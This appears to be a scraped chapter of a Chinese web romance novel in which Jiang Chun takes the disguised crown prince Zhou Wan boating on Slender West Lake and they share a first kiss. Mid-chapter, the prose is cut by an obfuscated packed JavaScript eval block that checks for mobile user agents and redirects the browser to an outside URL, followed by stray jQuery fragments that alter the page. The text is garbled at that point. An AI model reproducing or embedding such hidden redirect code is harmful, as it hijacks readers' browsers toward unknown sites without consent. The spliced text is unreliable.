9. 第九章

作品:《引诱太子做外室之后

    “你吃过早饭了吗?”周皖又问她。


    姜淳诚实得摇头,她是想着来小院吃的。周皖牵着她走进堂屋,桌上摆着两份豆花,白嫩嫩的豆花上撒着晶莹的白糖,化了大半。周皖对着她笑了笑,让她坐下,“早上买的,有些凉了。你先喝点热水,我去给你下碗面。”


    不等姜淳回答,他快步走了出去。姜淳拎起茶壶倒了杯温水,边喝边等。她拿起汤匙舀了一勺甜豆花,已经没有热气了,水嫩细腻,吃在嘴里甜甜的。


    约一刻钟,周皖端着一碗面进来,他的袖口挽在胳膊肘,露出清瘦的小臂,十分宜室宜家。姜淳在心里默默点评,有点贤惠啊。


    周皖将面轻轻放在姜淳面前,一碗简单的青菜肉丝面,很家常也很让人有食欲,他将筷子递到姜淳手边,温和叮嘱:“小心烫。”


    姜淳:“你不吃吗?”


    “下了两碗,我马上去端。”他期待得看着姜淳:“味道怎么样?”


    姜淳挑起一筷子尝了尝,面煮得有点久,有点软烂,很咸,估计是盐巴放多了,但她专程跑了三条街过来,吃得又不是面,而是情致。于是竖起大拇指,桃花眼盛满赞许,捧场道:“好吃!”


    周皖这才如释重负笑出来,转过身去厨房端另外一碗面了,背影带着轻快。


    他坐在姜淳身边,尝了一口自己碗里的面条,僵住了。


    “怎么了?”姜淳正在吃面,见他一动不动,有些疑惑。


    “有点咸。”周皖放下筷子,他想让姜淳不要吃了。


    姜淳满不在乎:“还好啦,挺香的。我之前还吃过馊的呢。比起那个,这个真得是人间美味。”


    赢王府的嫡长女,当朝第一位异性郡主,竟然还吃过残羹馊饭?


    周皖垂下眼,复又拿起筷子,接着吃起来很。他看着吃的一脸满足的姑娘,不太斯文,甚至有时还会发出“吸溜吸溜”的声音,心中闪过一丝奇异的感觉,转瞬即逝。


    吃完早饭,姜淳便朝周皖发出邀请:“今日天气不错,要不咱们去游湖吧?”


    周皖不假思索应下了。


    姜淳口中的湖,便是指扬州城内的瘦西湖。瘦西湖的水道弯曲狭长,地处扬州城西北,且湖面瘦长、蜿蜒迂回,与杭州西湖的广阔相比,更显清瘦秀丽。


    周皖扶着姜淳下了马车,两人并肩站在湖边。周皖眼中闪过惊艳,他来扬州已一月有余,之前忙于公务,自然没有游玩的闲心,这还是头一次来。


    丝柳昨日知晓姑娘今日要带周公子来游湖,已提前踩好了点,此时熟门熟路在前带路:“周公子,咱们姑娘怕您一个人在家孤单,早早就计划要带您出门踏青呢。又怕人多了您头疼,特意为您包了一艘画舫呢!”


    言语之间,无不透露出自家姑娘对心上人的重视。


    周皖心里好笑,脸上却不显,感动得看向姜淳:“栀栀有心了。”


    姜淳轻咳一声,转头瞪了眼丝柳,就她机灵。丝柳偷笑,不再说了,目视前方,专心带路。


    姜淳包的是一艘两层画舫,通身红色,船头高高翘起,繁复的雕花装饰,浮雕上的花鸟图案令人应接不暇,雕梁画栋,气派非凡。姜淳先一步踏上甲板,她转过身,桃花眼弯弯,笑着朝周皖伸出手。


    十七岁的姑娘生得花容月貌,皮肤白皙光滑没有一丝瑕疵。今日盛装打扮,穿一身嫩黄色织锦雪光缎襦裙,外穿耦荷粉外搭,一头乌黑的长发梳了个飞仙髻,真真是花树砌雪,风神秀彻,站在春光里胜过三月春花。


    周皖失神的看着,姜淳也不催,耐心等待着。良久后,周皖才意识到自己的失态,伸出手紧紧握住她的柔荑。


    画舫缓缓驶离岸边,两人靠得极近,姜淳的后背与周皖的胸膛只隔着一指的距离,她略微后仰,仿佛靠在他的身上,故意问:“我今日好看吗?”


    周皖低头看她,两人呼吸相接,掩住自己稍快的心跳,“嗯。”


    姜淳却不满意,手搭在他手臂上,靠得更近了,“我要你说,到底好不好看嘛。”


    周皖抵不过她如此撒娇,只得说出来:“很好看。”


    姜淳满意了,却没离开,手指故意在他手腕上敲敲点点,饶有兴趣道:“我发现了,你是个闷骚。”


    周皖一滞,忍住手臂处传来的酥麻,问:“哪里看出来的?”


    “现在就是呀,”姜淳调皮的眨眼,“你明明心里爽得要死,却憋着不说。”说完,右手的力道故意加重,戳了一下。


    周皖想辩解,但他内心深处确实不想把手臂抽回来,于是否认就变得苍白起来。他看着姜淳:“你总是欺负我。”


    姜淳才不背这口锅,她立即站直了,手背在身后,“我是个好姑娘,才不会欺负人。”说完不再理他,朝画舫厢房走。


    周皖亦步亦趋跟在她后面,怕她生气了,伸出食指勾住她背在身后的手指。


    姜淳赶紧撒开,一副避之不及的态度,“可不敢,不然某人又要说我欺负他了。”


    “栀栀,”周皖又伸出手去拉她,这回用了劲,姜淳甩了两下甩不开,便任由他牵着。周皖道:“你没有欺负我,是我自愿的,我喜欢牵着栀栀。”


    画舫已经行驶到湖心深处,姜淳走到窗边,想推开窗子,另一只手快她一步,将窗子推开。她站在窗前,周皖看不见她的神情,怕她不信,只能硬着头皮继续说:“……我也喜欢栀栀碰我。”


    姜淳憋住笑,好像很受伤一般,故意道:“我不信。”


    “你要怎么才信?”周皖不知该如何是好。这下他真不是装的,毕竟他活了二十年,头一遭与姑娘有纠缠。


    害人他手段丰富,哄人他经验全无。


    “除非你亲我一下。”


    “好——”周皖怀疑自己听错了,“你说什么?”


    却见姜淳转过身面对着他,脸上笑吟吟的,桃花眼里充满着期待,哪里有半分生气。她开口,带着胡搅蛮缠:“我听到你答应了!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106171|163880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    周皖一时不知该说什么,面前的人却已经闭上了眼睛,潋滟的红唇微微张开,仿佛任君采撷。


    姜淳眼睑轻颤,身后抓着窗桕的手暴露了此时的不平静,她期待、紧张又掺杂着几分兴奋,直到唇上传来一阵温热的触感,轻轻柔柔的,仿佛带着主人的珍视般,像羽毛拂过,挠着她的心。


    不知过了多久,两人分开,姜淳睁开眼睛,像吃到糖的孩童,眼睛亮晶晶的,周皖移开视线,声线含着几分哑,在她耳边轻声道:“你就是欺负我。”


    “我就是欺负你,”姜淳莞尔一笑,理直气壮:“怎么啦?”


    周皖不说话了,勾着她手指的那只手使劲儿捏了一下。


    四周一片静谧,只有天空中偶尔飞过的鸟儿叽叽喳喳。亲吻过后,两人更加亲近了,姜淳靠在周皖身上,他的手绕过她的腰,搭在窗桕上,姜淳没话找话:“你之前亲过别人吗?”


    周皖没有,但他不能这么回答,毕竟他现在是“失忆”的人,反问道:“你呢?”


    姜淳眨眨眼,故意不答。周皖误会了,他缓缓收回手。


    “哎,”姜淳转过身面对他,像是在他怀里。她摸到他的手,才发现他握了拳头,一根一根掰开后将自己的手指放进去十指相扣,不满道:“你怎么这么没有耐心。”


    周皖动了动唇,一副想问又不敢问的可怜样子。


    姜淳赶紧道:“我才看不上旁人呢,我只亲过你。不过——”


    她拉长了音调:“若是我亲过旁人,你待如何?”


    当然是杀了他。敢亲未来太子妃,他倒是要看看谁有这个狗胆。


    周皖做出一副黯然神伤的模样:“我能怎么办呢?”


    姜淳心里喊了声妖孽,逗人的是她,心疼的也是她,连连保证道:“我真得没亲过,以后也不会,我长这么大,只喜欢过你。”


    见周皖脸色转晴,姜淳这才安心赏起景来。心里不由擦汗,果然色字头上一把刀,这养相好的也不容易呐!


    “你快看,”姜淳指着湖边的两坨,高兴的道:“鸳鸯戏水,说明咱俩是天作之合呢!”


    周皖其实不懂为什么她有这么多精力,看一切事物都带着新奇,充满了探索欲,纤细的身躯蕴藏着惊人的生命力。


    这样的生命力很容易感染别人,周皖不愿扫她的兴,兴致勃勃去看,然后沉默了。


    “得成比目何辞死,只羡鸳鸯不羡仙。”姜淳目露感慨,一时戏瘾大发,拉着周皖的手深情脉脉:“我只愿与周郎化作一对鸳鸯,便是那神仙般的日子都不换。”


    周皖忍俊不禁,被她夸张的语气镇住了,良久配合道:“纵使一日三餐粗茶淡饭,也千金不换?”


    姜春使劲儿点头,“只要周郎常伴在侧,纵使要我日日吃糠咽菜,我也情愿。”


    “栀栀,”周皖忍着笑,十分不忍心伤害她,但又怕她以后认出来了怪他不告诉她,指正:“那不是鸳鸯,是两只灰鸭。”